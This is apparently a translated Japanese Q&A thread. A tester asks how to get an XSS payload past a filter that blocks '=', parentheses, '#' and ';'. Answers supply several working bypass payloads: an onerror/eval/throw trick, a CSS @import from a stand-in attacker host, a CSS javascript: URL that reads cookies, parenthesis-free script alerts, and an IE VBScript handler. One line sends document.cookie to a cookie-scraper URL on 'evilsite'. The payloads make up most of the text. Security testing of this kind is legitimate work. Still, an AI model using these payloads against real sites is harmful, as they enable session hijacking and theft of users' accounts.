Webアプリケーションをテストしていますが、XSSの脆弱性が見つかりました。タグを壊してアプリケーションにコードを挿入することはできますが、クライアントにとって潜在的に危険なものはありません。
アプリケーションには、特殊文字と一部の文字列を検出するフィルターがあり、文字の間にnull値(<scr%00ipt>)を挿入する文字列認識のフィルターをバイパスできますが、それをバイパスする方法を理解できません単一の文字。
Allowed chars: : / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;
フィルターは文字変換を使用せず、許可されていないものが検出されると、エラーメッセージが表示されます。無効なパラメーターが検出されました
多分私は何かが欠けているかもしれませんが、今日私はこの条件下でjavascriptを実行する方法を見ません。何か案が?
はい、可能です。 onerror
でできるトリックがあります:
<img src=x onerror=eval;throw'=alert\x281\x29';>
throw
はエラーを構成するため、eval
はJavaScriptストリングを生成し、それをthrow
に返します。これにより、完全な任意のJavaScriptインジェクションが提供されます。
OK、つまり、等号は使用できません。代わりに、私はこのトリックをお勧めします:
"><style>@import'http://evil.example.com/xss.css';</style>
これには、ページにサードパーティのCSSファイルが含まれます。そこからJavaScriptを起動できます。
body {
background-image: url('javascript:alert(document.cookie);')
}
CSSからJavaScriptを実行するための 使用できる他のトリック もあります。
かっこをブロックするのは奇妙です。これが防ぐ攻撃については知りません。 括弧なしのXSSが可能です 。
support svg のブラウザの場合:
<svg>
<script>alert(/1/.source)</script>
</svg>
単純なPoCが必要な場合は、これでうまくいくはずです。
<script>onerror=alert;throw 1;</script>
しかし、実際のエクスプロイトには括弧は必要ありません。
document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie
VBScriptによる簡単なトリック:<input onfocus=vbs:msgbox+1>
[IEで動作]